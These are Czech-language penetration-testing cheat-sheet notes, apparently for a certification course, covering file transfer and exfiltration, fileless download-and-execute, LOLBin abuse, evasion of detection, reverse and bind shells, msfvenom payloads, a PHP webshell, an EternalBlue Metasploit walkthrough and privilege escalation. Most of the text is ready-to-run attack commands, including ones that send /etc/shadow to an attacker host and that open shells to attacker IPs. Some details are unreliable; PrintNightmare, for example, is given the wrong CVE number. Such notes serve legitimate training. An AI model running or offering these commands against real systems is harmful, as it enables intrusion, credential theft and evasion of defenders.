- **Google Hacking Database (GHDB)** na [exploit-db.com](https://www.exploit-db.com).

❑ Footprinting Checklist (Search Engines):

1. [] **Subdomény:** Použil jsem site:target.com -www k nalezení testovacích nebo dev subdomén?
2. [] **Login portály:** Prošel jsem inurl:admin a inurl:login?
3. [] **Dokumenty:** Hledal jsem citlivé PDF/DOCX pomocí filetype:pdf "internal"?
4. [] **Konfigurace:** Zkusil jsem najít config.php, web.config nebo .env soubory?
5. [] **Zálohy:** Prověřil jsem ext:sql nebo ext:bak?

Windows

❑ Windows File Transfer (Cheat Sheet)

1. PowerShell: Base64 (Metoda bez sítě)

Ideální pro malé soubory, pokud máš pouze přístup k terminálu a nemůžeš navázat síťové spojení.

- Linux (Příprava): `cat soubor | base64 -w 0 (zkopíruj řetězec)`.
- Windows (Dekódování):

PowerShell

```
[IO.File]::WriteAllBytes("C:\cesta\cil.exe", [Convert]::FromBase64String("BASE64_RETEZEC_ZDE"))
```

- Ověření (MD5):
 - Linux: `md5sum soubor`
 - Windows: `Get-FileHash soubor -Algorithm md5`

2. PowerShell: Web Downloads (HTTP/S)

Nejběžnější metoda, často povolená firewallem (porty 80/443).

- Download na disk (WebClient):

PowerShell

```
(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/nastroj.exe', 'C:\Users\Public\nastroj.exe')
```

- Fileless metoda (Spuštění přímo v paměti):

PowerShell

```
[EX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')
```

- Invoke-WebRequest (Moderní):

PowerShell

```
iwr http://10.10.10.10/nastroj.exe -OutFile nastroj.exe
```

Bypass chyb:

- Pokud IE není nastaveno: Přidej `-UseBasicParsing`.
- Chyba SSL certifikátu: `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}`

3. SMB Downloads (Port 445)

Využívá nativní Windows sdílení.

- Útočník (Linux): `sudo impacket-smbserver share /tmp/moje_složka -smb2support`
- Cíl (Windows): `copy \\10.10.10.10\share\nastroj.exe`.
- Pokud je zakázán anonymní přístup:
 - Linux: Přidej `-user test -password test`
 - Windows: `net use n: \\10.10.10.10\share /user:test test`

4. FTP Přenosy (Port 21)

- Útočník (Linux server): `sudo python3 -m pyftplib --port 21 --write` (přepínač `--write` je nutný pro upload).
- Cíl (Windows - automatizovaný script):

DOS

```
echo open 10.10.10.10 > ftp.txt
echo USER anonymous >> ftp.txt
echo binary >> ftp.txt
echo GET soubor.exe >> ftp.txt (nebo PUT pro upload)
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
```

5. WebDAV (SMB přes HTTP)

Skvělá metoda pro obcházení firewallů, které blokují SMB (445), ale použít HTTP (80).

- Útočník (Linux): Instalace `wsgidav` a spuštění: `sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous`
- Cíl (Windows): Připojení přes speciální složku `DavWWWRoot`: `copy C:\soubor.zip \\10.10.10.10\DavWWWRoot\`

6. Upload z Windows na Linux (Exfiltrace)

Pokud potřebuješ ukrást data z cíle:

- **Python Upload Server (Linux):** `python3 -m uploadserver`
- **PowerShell Upload (Windows):**

PowerShell

Nutné stáhnout pomocný script **PSUpload.ps1**

`Invoke-FileUpload -Uri http://10.10.10.10:8000/upload -File C:\tajne\data.zip`

Pentest Checklist:

1. ☐ **Firewall:** Které porty jsou ven povolené? (Zkus 80/443/53).
2. ☐ **AV/EDR:** Blokuje spuštění .exe? Zkus fileless PowerShell (IEX).
3. ☐ **Integrita:** Vždy ověřuj MD5 hash po přenosu binárních souborů.
4. ☐ **Living off the Land:** Používej certutil, bitsadmin nebo webclient – jsou to legitimní nástroje systému.

Linux

❑ Linux File Transfer (Cheat Sheet)

1. Metoda bez sítě: Base64 Encoding

Ideální, pokud máte interaktivní shell, ale firewall blokuje veškerou odchozí i příchozí komunikaci.

- **Získání dat z cíle (Upload):**
 1. Na cíli: `cat soubor | base64 -w 0`
 2. Zkopíruj řetězec do svého stroje (Pwnbox).
 3. Na Pwnboxu: `echo "RETEZEC" | base64 -d > soubor`
- **Doručení dat na cíl (Download):** Opačný postup. Vždy ověř integritu pomocí md5sum.

2. Klasické Webové stahování (Wget & cURL)

Standardní nástroje pro HTTP/S přenosy.

Nástroj	Příkaz	Poznámka
Wget	<code>wget http://IP/file -O /tmp/file</code>	Velké -O pro výstupní soubor.
cURL	<code>curl -o /tmp/file http://IP/file</code>	Malé -o pro výstupní soubor.

3. Fileless útoky (Spuštění v paměti)

Linux umožňuje poslat stažený kód přímo do interpretu (Bash, Python), aniž by se soubor fyzicky uložil na disk. To výrazně ztěžuje forenzní analýzu a detekci antiviry.

- Bash skript: `curl http://10.10.10.10/skript.sh | bash`
- Python skript: `wget -qO- http://10.10.10.10/nastroj.py | python3`

4. SSH / SCP Přenosy (Port 22)

Pokud je na vašem stroji (Pwnbox) povolen SSH server, můžete soubory bezpečně kopírovat oběma směry.

- Příprava (Pwnbox): `sudo systemctl start ssh`
- Stahování z cíle na Pwnbox: `scp htb-student@10.129.86.90:/home/htb-student/tajne.txt`
- Nahrávání z Pwnboxu na cíl: `scp soubor.exe htb-student@10.129.86.90:/tmp/`

5. Pokročilé a alternativní metody

A. Bash /dev/tcp (Když není wget ani curl)

Pokud má Bash povolené síťové přesměrování, lze jej použít jako surový HTTP klient:

```
exec 3<>/dev/tcp/10.10.10.10/80 # Otevře spojení
echo -e "GET /soubor.sh HTTP/1.1\n\n" >&3 # Pošle požadavek
cat <&3 # Přečte odpověď
```

B. Okamžité Web Servery (Pro rychlý transfer)

Pokud potřebujete, aby si cíl stáhl soubor od vás, nebo naopak, můžete na jedno kliknutí spustit server v jakémkoliv jazyce:

- Python 3: `python3 -m http.server 8000`
- PHP: `php -S 0.0.0.0:8000`
- Ruby: `ruby -run -ehttpd . -p8000`

6. Bezpečný Upload přes HTTPS (Self-signed)

Pro exfiltraci citlivých dat (např. /etc/shadow) přes šifrovaný kanál:

1. Pwnbox (Server):

Bash

```
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
python3 -m uploadserver 443 --server-certificate server.pem
```

2. Cíl (Klient):

Bash

```
curl -X POST https://10.10.10.10/upload -F 'files=@/etc/shadow' --insecure
```

🔧 Pentest Checklist (Linux Transfer):

1. [] **Binárky:** Jsou přítomny wget, curl, nc, python, php, perl nebo ruby?
2. [] **Zápis:** Mám právo zápisu do /tmp, /dev/shm (často v paměti RAM) nebo /var/tmp?
3. [] **Firewall:** Blokuje systém odchozí spojení? Zkus porty 80, 443 nebo 53 (DNS).
4. [] **Pipes:** Mohu spustit payload přímo v paměti přes pipe |?

With Code

□ Transferring Files with Code (Cheat Sheet)

1. Python One-liners

Python je "švýcarský nůž" pro přenosy. Přepínač **-c** spustí kód přímo v příkazové řádce.

- **Python 2 (Download):**

Bash

```
python2.7 -c 'import urllib;urllib.urlretrieve ("http://10.10.10.10/file.sh", "file.sh")'
```

- **Python 3 (Download):**

Bash

```
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://10.10.10.10/file.sh", "file.sh")'
```

- **Python 3 (Upload):** (Vyžaduje modul requests na cíli a spuštěný uploadserver u tebe)

Bash

```
python3 -c 'import requests;requests.post("http://10.10.10.10:8000/upload",files={"files":open("/etc/passwd","rb")})'
```

2. PHP One-liners

PHP se nachází na 77 % webových serverů. Přepínač **-r** slouží ke spuštění kódu.

- **Download (Jednoduchý):**

Bash

```
php -r '$f=file_get_contents("http://10.10.10.10/file.sh"); file_put_contents("file.sh",$f);'
```

- **Download (Fopen - pro velké soubory):**

Bash

```
php -r '$r=fopen("http://10.10.10.10/file.sh","rb"); $l=fopen("file.sh","wb"); while($b=fread($r,1024)){fwrite($l,$b);} fclose($l); fclose($r);'
```

- **Fileless (Stažení a rovnou spuštění v Bash):**

Bash

```
php -r '$l=@file("http://10.10.10.10/file.sh"); foreach($l as $n=>$line){echo $line;}' | bash
```

3. Ruby & Perl One-liners

Méně časté, ale v CTF a starších systémech velmi užitečné. Přepínač **-e** spustí kód.

- **Ruby (Download):**

Bash

```
ruby -e 'require "net/http"; File.write("file.sh", Net::HTTP.get(URI.parse("http://10.10.10.10/file.sh")))'
```

- **Perl (Download):**

Bash

```
perl -e 'use LWP::Simple; getstore("http://10.10.10.10/file.sh", "file.sh");'
```

4. Windows Native Scripting (cscript.exe)

Windows má v sobě engine pro JavaScript (JS) a VBScript (VBS). Můžeš si na cíli vytvořit malý skript pomocí echo a pak ho spustit.

- **Spuštění JS/VBS skriptu pro download:**

DOS

```
cscript.exe /nologo wget.js http://10.10.10.10/nastroj.exe nastroj.exe  
cscript.exe /nologo wget.vbs http://10.10.10.10/nastroj.exe nastroj.exe
```

🔗 Pentest Checklist (Code Transfer):

1. [] **Identifikace:** Zkus příkazy **python --version**, **php -v**, **ruby -v** nebo **perl -v**, abys zjistil, co je k dispozici.
2. [] **Omezení:** Pokud nefunguje `file_get_contents` v PHP, zkontroluj, zda jsou v `php.ini` povoleny "fopen wrappers".
3. [] **Upload:** Pro upload z cíle pomocí Pythonu musíš mít na svém stroji spuštěný přijímač: **python3 -m uploadserver**.

Šifrování při převodu

☐ Protected File Transfers (Zabezpečený přenos)

Základní pravidlo: Pokud je to možné, používej nativně šifrované protokoly (**SSH, SFTP, HTTPS**). Pokud nejsou k dispozici, musíš soubor zašifrovat lokálně před odesláním.

1. Windows: Invoke-AESEncryption.ps1

Tento PowerShell skript je lehký a efektivní nástroj pro symetrické šifrování AES-256 přímo v paměti.

- **Import skriptu:**
PowerShell

```
Import-Module .\Invoke-AESEncryption.ps1
```

- **Šifrování souboru:**
PowerShell

```
Invoke-AESEncryption -Mode Encrypt -Key "MojeSilneHeslo123" -Path .\data.txt  
# Vytvoří soubor data.txt.aes
```

- **Dešifrování souboru:**
PowerShell

```
Invoke-AESEncryption -Mode Decrypt -Key "MojeSilneHeslo123" -Path .\data.txt.aes
```

- **Šifrování textového řetězce (Output v Base64):**
PowerShell

```
Invoke-AESEncryption -Mode Encrypt -Key "heslo" -Text "TajneData"
```

2. Linux: OpenSSL

OpenSSL je de facto standard pro kryptografii v Linuxu a je přítomen v téměř každé distribuci.

- **Šifrování souboru (AES-256 s PBKDF2):** Používáme vysoký počet iterací (-iter 100000) a PBKDF2 pro zvýšení odolnosti proti brute-force útokům na heslo.
Bash

```
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
```

- **Dešifrování souboru:**
Bash

```
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd_decoded
```

3. Profesionální zásady (DLP & Etika)

- **Žádná reálná PII:** Pokud testujete systémy ochrany proti úniku dat (DLP), nikdy neexfiltrujte reálná čísla platebních karet nebo rodná čísla. Vytvořte si **dummy data** (falešná data), která mají stejný formát (např. pomocí regulárních výrazů).
- **Unikátní hesla:** Pro každého klienta a každý pentest používejte unikátní a silná hesla pro šifrování. Nikdy nepoužívejte jedno "univerzální" heslo pro všechny zakázky.
- **Čištění po testu:** Po dokončení přenosu a analýzy nezapomeňte šifrované i dešifrované kopie ze systému odstranit (pokud to nevyžaduje metodika testu).

Protected Transfer Checklist:

1. ☐ **Protokol:** Je možné použít HTTPS/SFTP místo čistého HTTP/FTP?
2. ☐ **Šifrování:** Pokud používám HTTP, zašifroval jsem soubor pomocí openssl nebo Invoke-AESEncryption?
3. ☐ **Heslo:** Je heslo dostatečně silné a unikátní pro tento projekt?
4. ☐ **Integrita:** Ověřil jsem, že po dešifrování má soubor stejný hash jako originál?

□ Living off the Land (LOLBins & GTFOBins)

Základní zdroje pro vyhledávání:

- Windows: [LOLBAS Project](#)
- Linux: [GTFOBins](#)

□ Windows: Klíčové LOLBins pro přenos

1. Certutil.exe (De facto Windows wget)

Původně nástroj pro správu certifikátů, dnes nejpoužívanější binárka pro stahování.

- Download:
DOS

```
certutil.exe -urlcache -split -f http://10.10.10.10/nc.exe nc.exe
```

(Poznámka: Parametr **-verifyctl** je alternativou, pokud je **-urlcache** blokován).

2. Bitsadmin.exe

Nástroj pro správu úloh na pozadí (BITS). Je pomalejší, ale velmi nenápadný.

- Download:
DOS

```
bitsadmin /transfer nástroj /priority foreground http://10.10.10.10/nc.exe C:\Users\Public\nc.exe
```

- PowerShell verze:
PowerShell

```
Start-BitsTransfer -Source "http://10.10.10.10/nc.exe" -Destination "C:\Temp\nc.exe"
```

3. CertReq.exe (Nenápadný Upload)

Skvělé pro odesílání dat (exfiltraci) na tvůj NC listener.

- Cíl (Windows):
DOS

```
certreq.exe -Post -config http://10.10.10.10:8000/ C:\Windows\win.ini
```

- Útočník (Linux): nc -lvp 8000 (přijmeš soubor jako POST požadavek).

□ Linux: Klíčové GTFOBins pro přenos

1. OpenSSL (Šifrovaný tunel)

Pokud potřebuješ přenést soubor a vyhnout se IDS, OpenSSL vytvoří šifrované spojení.

- Příprava (Útočník - Server):
Bash

```
# Vytvoř certifikát  
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem  
# Spust' server a pošli soubor  
openssl s_server -quiet -accept 443 -cert cert.pem -key key.pem < nástroj.sh
```

- Cíl (Klient - Download):
Bash

```
openssl s_client -connect 10.10.10.10:443 -quiet > nástroj.sh
```

□ Evasion & Detekce (Co vědět pro CPTS)

Pamatuj, že obránci tyto techniky znají. Tady je to, na co si dát pozor:

Nástroj Detekční mechanismus

Certutil AMSI monitoruje volání URL.

Bitsadmin Monitorování procesů s prioritou foreground.

User-Agent Mnohé LOLBins mají unikátní User-Agent (např. NDES client).

Jak to obejít (Evasion)

Přejmenuj certutil.exe na nic.exe.

Použij prioritu background.

Pokud nástroj dovoluje, změň User-Agent na prohlížeč.

PRO TIP: Vždycky se podívej na LOLBAS/GTFOBins, pokud máš v systému binárku, která má **SUID bit** (Linux) nebo je v seznamu povolených aplikací (Windows AppLocker). Často umožňují číst soubory (File Read), které bys normálně vidět neměl.

Detekce

☐ Detection & User Agents (Jak tě vidí SIEM)

Většina síťových přenosů (HTTP/S) obsahuje hlavičku **User-Agent**, která serveru říká, jaký nástroj se připojuje. Pro analytika v SIEMu (např. Splunk nebo ELK) je to první varovný signál.

1. Identifikace podle User-Agenta

Každý nástroj, který jsme se naučili, má svůj specifický "podpis":

Nástroj	User-Agent (Server Log)	Úroveň podezření
PowerShell	WindowsPowerShell/5.1...	Vysoká (Skripty stahující exe jsou jasný indikátor)
Certutil	Microsoft-CryptoAPI/10.0	Vysoká (Certutil by neměl běžně stahovat soubory z internetu)
BITS	Microsoft BITS/7.8	Střední (Používá se pro aktualizace, ale v neobvyklý čas je podezřelý)
cURL/Wget	curl/7.68.0 nebo Wget/1.20	Nízká/Střední (Běžné u adminů, ale na Windows stanici podezřelé)

2. Whitelisting vs. Blacklisting

- **Blacklisting (Zakazování):** Obránci zakazují známé špatné příkazy. To jako útočník snadno obejdeš změnou velikosti písmen (CeRtUtil.eXe) nebo rozdělením příkazů.
- **Whitelisting (Povolování):** Mnohem robustnější metoda. Pokud firma povolí pouze Chrome a Edge, jakýkoliv pokus o spojení z powershell.exe okamžitě spustí alarm.

3. Jak se vyhnout detekci (Evasion)

Pokud chceš být při přenosu souborů nenápadný, zkus tyto techniky:

- **Změna User-Agenta:** Většina nástrojů ti dovolí "předstírat", že jsi běžný prohlížeč.
 - **Příklad (cURL):** `curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)..." http://10.10.10.10/nc.exe`
 - `wget -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0" http://10.10.10.10/nc.exe -O nc.exe`
 - `Invoke-WebRequest -Uri "http://10.10.10.10/nc.exe" -UserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -OutFile "nc.exe"`

1. Zobrazení dostupných identit

Tento příkaz ti vypíše, za co všechno se můžeš vydávat (Chrome, Firefox, atd.):

PowerShell

```
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$( $_.Name)}} | fl
```

2. Stahování s identitou Chrome

Místo podezřelého podpisu PowerShellu použijeme identitu prohlížeče Chrome:

PowerShell

```
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"
```

- **LOLBins s legitimním profilem:** Používej nástroje, které běžně komunikují se sítí (např. iexplore.exe nebo přes COM objekty prohlížeče).

Příklad: GfxDownloadWrapper.exe

Tento soubor je součástí ovladačů Intel Graphics a málokterý antivirus ho blokuje, protože je to legitimní součást systému.

PowerShell

```
GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\mimikatz.exe"
```

- **Provoz na běžných portech:** Vždy používej porty **80 (HTTP)** nebo **443 (HTTPS)**. Porty jako 8000, 4444 nebo 9001 svítí v logu jako maják.
- **Šifrování a obfuskace:** Jak jsme si řekli dříve, zašifrovaný soubor (AES nebo Base64) neumožňuje IPS/IDS systému vidět, že stahuješ škodlivý kód.

☐ Final Checklist (Před exfiltrací):

1. ☐ **Mám upravený User-Agent?** (Vypadá můj provoz jako běžný prohlížeč?)
2. ☐ **Používám standardní porty?** (80, 443)
3. ☐ **Je soubor zašifrovaný/zabalený?** (Aby neprošel AV skenem při přenosu přes síť)
4. ☐ **Nezanechal jsem stopy v historii?** (V Linuxu použij space před příkazem, aby se neuložil do .bash_history)

Basic

□ Shell Basics & Payload Management

1. Směr komunikace: Bind vs. Reverse Shell

Pochopení rozdílů je zásadní pro průchod přes firewally.

Bind Shell (Oběť naslouchá)

Útočník se připojuje k oběti. Často blokováno příchozím firewallem.

- Oběť (Linux): `nc -lvp 4444 -e /bin/bash`
- Útočník: `nc <IP_OBĚTI> 4444`

Reverse Shell (Útočník naslouchá) – DOPORUČENO

Oběť se připojuje k útočníkovi. Firewally obvykle odchozí provoz (egress) povolují.

- Útočník (Linux): `nc -lvp 4444`
- Oběť (Windows PowerShell):
PowerShell

```
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('<IP_UTOČNIKA>',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName Text.ASCIIEncoding).GetString($b,0,$i);$st=(iex $d 2>&1 | Out-String );$t=$st + 'PS ' + (pwd).Path + '>';$x=[[text.encoding]::ASCII].GetBytes($t);$s.Write($x,0,$x.Length);$s.Flush();$c.Close()"
```

- Oběť (Linux Bash): `bash -i >& /dev/tcp/<IP_UTOČNIKA>/4444 0>&1`

2. Tvorba a správa Payloadů

msfvenom (Generování binárek)

Nástroj pro tvorbu spustitelných shellů pro různé platformy.

- Windows (.exe): `msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe > shell.exe`
- Linux (.elf): `msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f elf > shell.elf`
- PHP (Webshell): `msfvenom -p php/reverse_php LHOST=<IP> LPORT=4444 -f raw > shell.php`

Metasploit (Přijem spojení)

Pro pokročilé shelly (Meterpreter) musíš použít multi/handler.

Bash

```
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <Tvoje_IP>
set LPORT 4444
run
```

3. Web Shelly: Prvotní přístup

Pokud máš možnost nahrát soubor (File Upload) nebo ovlivnit soubor na serveru (LFI), použij jednoduchý webshell.

- PHP (Linux/Apache):
PHP

```
<?php system($_GET['cmd']); ?>
```

Použití: <http://target.com/uploads/shell.php?cmd=id>

- ASPX (Windows/IIS): Využij CommandShell.aspx z repozitáře /usr/share/webshells/aspx/ v Kali Linuxu

4. Identifikace a detekce (Forensics/Blue Team)

Jako seniorní tester musíš umět po sobě stopy nejen zametat, ale i najít.

Síťová aktivita (Anomálie)

Hledej spojení na podezřelé porty nebo procesy vlastníci síťové sockety.

- Windows: `netstat -ano | findstr ESTABLISHED` (hledej neznámé PID).
- Linux: `ss -antp` nebo `netstat -tunpa`.

Podezřelé procesy

Webový server by nikdy neměl přímo spouštět interaktivní shell.

- Sleduj hierarchii (Linux): `ps faux`
 - Podezřelý: `www-data -> apache2 -> sh` nebo `python`.
- Sleduj hierarchii (Windows): `tasklist` nebo `Process Explorer`.
 - Podezřelý: `w3wp.exe -> cmd.exe` nebo `powershell.exe`.

Analýza logů

Hledej v access lozích indikátory RCE (Remote Code Execution).

- Příkaz: `grep -E "whoami|id|cat|/etc/passwd|cmd.exe" /var/log/apache2/access.log`

🔧 Shell Upgrade (Změna na plnohodnotný terminál)

Pokud získáš "hloupý" shell přes Netcat, vylepši ho, abys mohl používat šipky a tabulátor:

1. V shellu oběti: `python3 -c 'import pty; pty.spawn("/bin/bash")'`
2. Stiskni: `Ctrl + Z` (uspání shellu).
3. V tvém stroji: `stty raw -echo; fg`

4. Napiš: `export TERM=xterm`

Windows

❑ 1. Fingerprinting: Je to Windows?

Před útokem musíme potvrdit operační systém.

Metoda A: ICMP TTL (Time To Live)

Nejrychlejší způsob. Windows stroje mají standardně **TTL 128**. Pokud vidíš hodnotu blízkou 128 (např. 127 po jednom hopu), je to Windows.

Bash

```
ping 10.129.201.97
```

```
# 64 bytes from ... ttl=128 time=102ms
```

Metoda B: Nmap OS Detection

Nmap analyzuje TCP/IP stack a porovnává ho s databází.

Bash

```
sudo nmap -v -O 10.129.201.97
```

```
# Výsledek: OS details: Microsoft Windows 10 1709 - 1909
```

Metoda C: Banner Grabbing

Služby často prozradí verzi OS v hlavičce (např. IIS 10.0 značí Windows Server 2016/2019).

Bash

```
sudo nmap -sV --script banner.nse 10.129.201.97
```

❑ 2. Windows Payload Typy

Každý formát má své specifické využití podle toho, jaký přístup získáme.

Formát	Popis	Využití
DLL	Dynamická knihovna.	Hijacking knihoven, injection do procesů, bypass UAC.
.BAT	Dávkový soubor (DOS).	Automatizace příkazů, otevírání portů přes cmd.exe.
.MSI	Instalační balíček.	Spuštění přes msiexec (často běží s vysokými právy).
.PS1	PowerShell skript.	Moderní, výkonný, běží v paměti (.NET objekty).

❑ 3. Prominentní Exploity (Historie a Současnost)

Exploit	ID	Služba	Popis
MS08-067	MS08-067	SMB	Legendární chyba, zneužitá Stuxnetem.
EternalBlue	MS17-010	SMBv1	NSA leak, zneužit WannaCry. Stále častý v labech.
PrintNightmare	CVE-2021-36934	Spooler	RCE přes tiskové ovladače.
BlueKeep	CVE-2019-0708	RDP	Remote Code Execution bez přihlášení.
ZeroLogon	CVE-2020-1472	Netlogon	Reset hesla Domain Admina během vteřin.

❑ 4. Praktický Průnik (EternalBlue Walkthrough)

Tento scénář ukazuje typický řetězec: **Sken -> Ověření -> Exploit -> Shell**.

Krok 1: Skenování verzí (Nmap)

Bash

```
nmap -v -A 10.129.201.97
```

```
# Zjištěno: SMB na portu 445, Windows Server 2016 Standard 14393
```

Krok 2: Ověření zranitelnosti (Metasploit)

Než spustíme nestabilní exploit, ověříme zranitelnost skenerem.

Bash

```
msfconsole
```

```
use auxiliary/scanner/smb/smb_ms17_010
```

```
set RHOSTS 10.129.201.97
```

```
run
```

```
# [+] 10.129.201.97:445 - Host is likely VULNERABLE!
```

Krok 3: Exploitace a získání SYSTEM shellu

Použijeme verzi psexec pro vyšší stabilitu.

Bash


```
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 10.129.201.97
set LHOST <Tvoje_VPN_IP>
exploit
```

Krok 4: Post-Exploitation (Meterpreter)

Po získání session můžeme přepínat mezi Meterpreterem a nativním shellem.

- **Zjištění identity:** `getuid`
- **Vstup do CMD:** `shell`
- **Získání hesel:** `hashdump`

🔧 Arzenál pro Windows Infiltraci

- **Impacket:** Sada Python skriptů (`psexec.py`, `smbclient.py`, `wmiexec.py`) pro interakci s protokoly bez Metasploitu.
- **Nishang:** Framework pro útočné PowerShell skripty.
- **msfvenom:** Generátor vlastních payloadů (např. `msfvenom -p windows/x64/meterpreter/reverse_tcp ...`).

🔗 1. Moderní Enumerace (2026)

Dnes už nestačí jen nmap -sV. Útočníci hledají specifické API endpointy a kontejnerizované služby.

- **Identifikace AI stacku:** Hledáme porty pro služby jako **Langflow** (AI orchestrace) nebo **SGLang** (AI inference).
- **Webshaping:** Identifikace moderních frameworků jako **Next.js** nebo **React Server Components**, které mají specifické RCE zranitelnosti (např. *React2Shell*).

🛡️ 2. Nejběžnější útoky roku 2026

Místo starého rConfigu se dnes zaměříme na technologie, které propojují celou infrastrukturu.

A. Útok na AI orchestraci (Langflow RCE)

- **CVE-2025-3248:** Útočníci zneužívají endpoint `/api/v1/validate/code`.
- **Princip:** Vložení škodlivého Python kódu do dekorátorů, které se spustí při parsování, ještě před samotným spuštěním funkce.
- **Dopad:** Okamžitý shell na serveru, který má často přístup k API klíčům pro AWS, OpenAI nebo Azure.

B. Supply Chain & Automation (n8n Takeover)

- **CVE-2026-21858 (Ni8mare):** Confusion v Content-Type hlavičce u platformy **n8n**.
- **Princip:** Neautentizované RCE umožňující extrakci stovek přihlašovacích údajů z integrovaných služeb (Slack, GitHub, databáze).
- **Dopad:** Jeden exploit umožní ovládnout celou digitální infrastrukturu firmy.

C. Telnet Auth Bypass (Návrat do minulosti)

- **CVE-2026-24061:** Kritická chyba v Telnetu postihující statisíce IoT zařízení.
- **Příkaz:** `telnet -f root <IP>` – díky chybě v proměnných prostředí dojde k úplnému přeskočení přihlášení a zisku root shellu.

☐ 3. Praktický postup: Od RCE k interaktivnímu shellu

Pokud najdeš zranitelnost (např. v Langflow), tvůj postup bude vypadat takto:

Krok 1: Získání prvotního shellu (Reverse Shell)

Většina moderních exploitů v roce 2026 využívá JSON payloady pro spuštění příkazu:

JSON

```
{"code": "import os; os.system('bash -i >& /dev/tcp/10.10.14.111/4444 0>&1')"};
```

Krok 2: Stabilizace TTY Shellu

Jakmile máš spojení, shell bude "hloupý" (nefunguje tabulátor, šipky, sudo). V roce 2026 je Python 3 standardem na 99 % Linux serverů:

1. **Spawn TTY:** `python3 -c 'import pty; pty.spawn("/bin/bash")'`
2. **Background session:** Stiskni **Ctrl + Z**
3. **Nastavení terminálu:** `stty raw -echo; fg` (pak napiš `reset`)
4. **Export proměnných:** `export TERM=xterm-256color`

☐ 4. Privilege Escalation (Cesta k Rootu)

V roce 2026 jsou nejčastější tyto cesty:

1. **Kernel Exploity:** Legendární **CVE-2024-1086 (Flipping Pages)** je stále zneužíván v neudržovaných systémech pro okamžitý root.
2. **Sudo Abuse:** **CVE-2025-32463** – nová zranitelnost v sudo, která umožňuje lokálnímu uživateli eskalovat práva bez znalosti hesla.
3. **Container Breakout:** Pokud jsi v Dockeru, hledáš **CVE-2025-9074** pro přístup k Docker Engine API hostitelského stroje.

Interactive Shell

❑ Spawning Interactive Shells (Moderní techniky)

Získání "hloupého" shellu (např. přes webovou zranitelnost) je jen první krok. Tvým hlavním cílem je získat **TTY shell**, který ti umožní interakci s příkazy jako `sudo`, `mysql` nebo stabilní úpravu souborů.

1. Programovací jazyky (Rychlá cesta)

Dnešní systémy jsou často minimalistické (kontejnery), proto je dobré znát více variant podle toho, co je zrovna nainstalováno.

- **Python 3 (Standard):**

Bash

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

- **Perl (Velmi častý na starších i nových Linuxech):**

Bash

```
perl -e 'exec "/bin/sh";'
```

- **Ruby (Časté v cloudových aplikacích):**

Bash

```
ruby -e 'exec "/bin/sh"'
```

- **Node.js (Moderní webové servery):**

Bash

```
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
```

2. Systémové utility (Living off the Land)

Pokud na stroji nejsou programovací jazyky, využij standardní binárky, které tam být musí.

- **AWK:** Tento nástroj je téměř na každém Unixovém systému.

Bash

```
awk 'BEGIN {system("/bin/sh")}'
```

- **Find:** Pokud můžeš spouštět `find`, můžeš skrze něj vyvolat shell.

Bash

```
find . -exec /bin/sh \; -quit
```

- **Socat (Nejstabilnější volba):** Pokud je v systému přítomen, získáš nejlepší možný shell s plnou podporou interaktivity.

Bash

Na tvém stroji (útočník):

```
socat file:`tty`,raw,echo=0 tcp-listen:4444
```

Na oběti:

```
socat tcp-connect:<TVOJE_IP>:4444 exec:/bin/sh,pty,stderr,setsid,sigint,sane
```

3. Únik z editorů a prohlížečů (Escape)

Někdy jsi "uvězněn" v konkrétní aplikaci. Takhle se dostaneš ven:

- **VIM:** Přímě z řádky: `vim -c '!/bin/sh'` nebo uvnitř editoru napiš `:set shell=/bin/sh` a pak `:shell`.
- **Less / More:** Pokud čteš logy přes `less`, stačí napsat `!/bin/sh` a stisknout Enter.

4. Prověření oprávnění a eskalace

Jakmile máš interaktivní shell, okamžitě hledej, jak se stát Rootem.

- **Sudo práva:**

Bash

```
sudo -l
```

Hledej položku (ALL : ALL) **NOPASSWD:** ALL. Pokud tam je, stačí `sudo su`.

- **SUID Binárky:** Hledej soubory, které běží pod Rootem, i když je spustí běžný uživatel.

Bash

```
find / -perm -u=s -type f 2>/dev/null
```

Nalezené binárky porovnej s databází na [GTFOBins](https://gtfobins.github.io/).

🔧 Upgrade na plnohodnotný terminál (Step-by-Step)

Pokud tvůj shell v Netcatu nereaguje na šipky nebo nefunguje mazání textu, použij tento postup:

1. V shellu oběti: `python3 -c 'import pty; pty.spawn("/bin/bash")'`
2. Stiskni **Ctrl + Z** (uspání shellu na pozadí tvého stroje).
3. V tvém terminálu napiš: `stty raw -echo; fg` (pak stiskni 2x Enter).
4. Napiš: `reset` a následně export `TERM=xterm-256color`.

CHEAT SHEET

Metasploit Cheat Sheet (Rychlá příručka)

Základní práce v msfconsole:

- **msfconsole -q**: Spuštění konzole v tichém režimu.
- **search [název]**: Vyhledání modulu (např. search nagios).
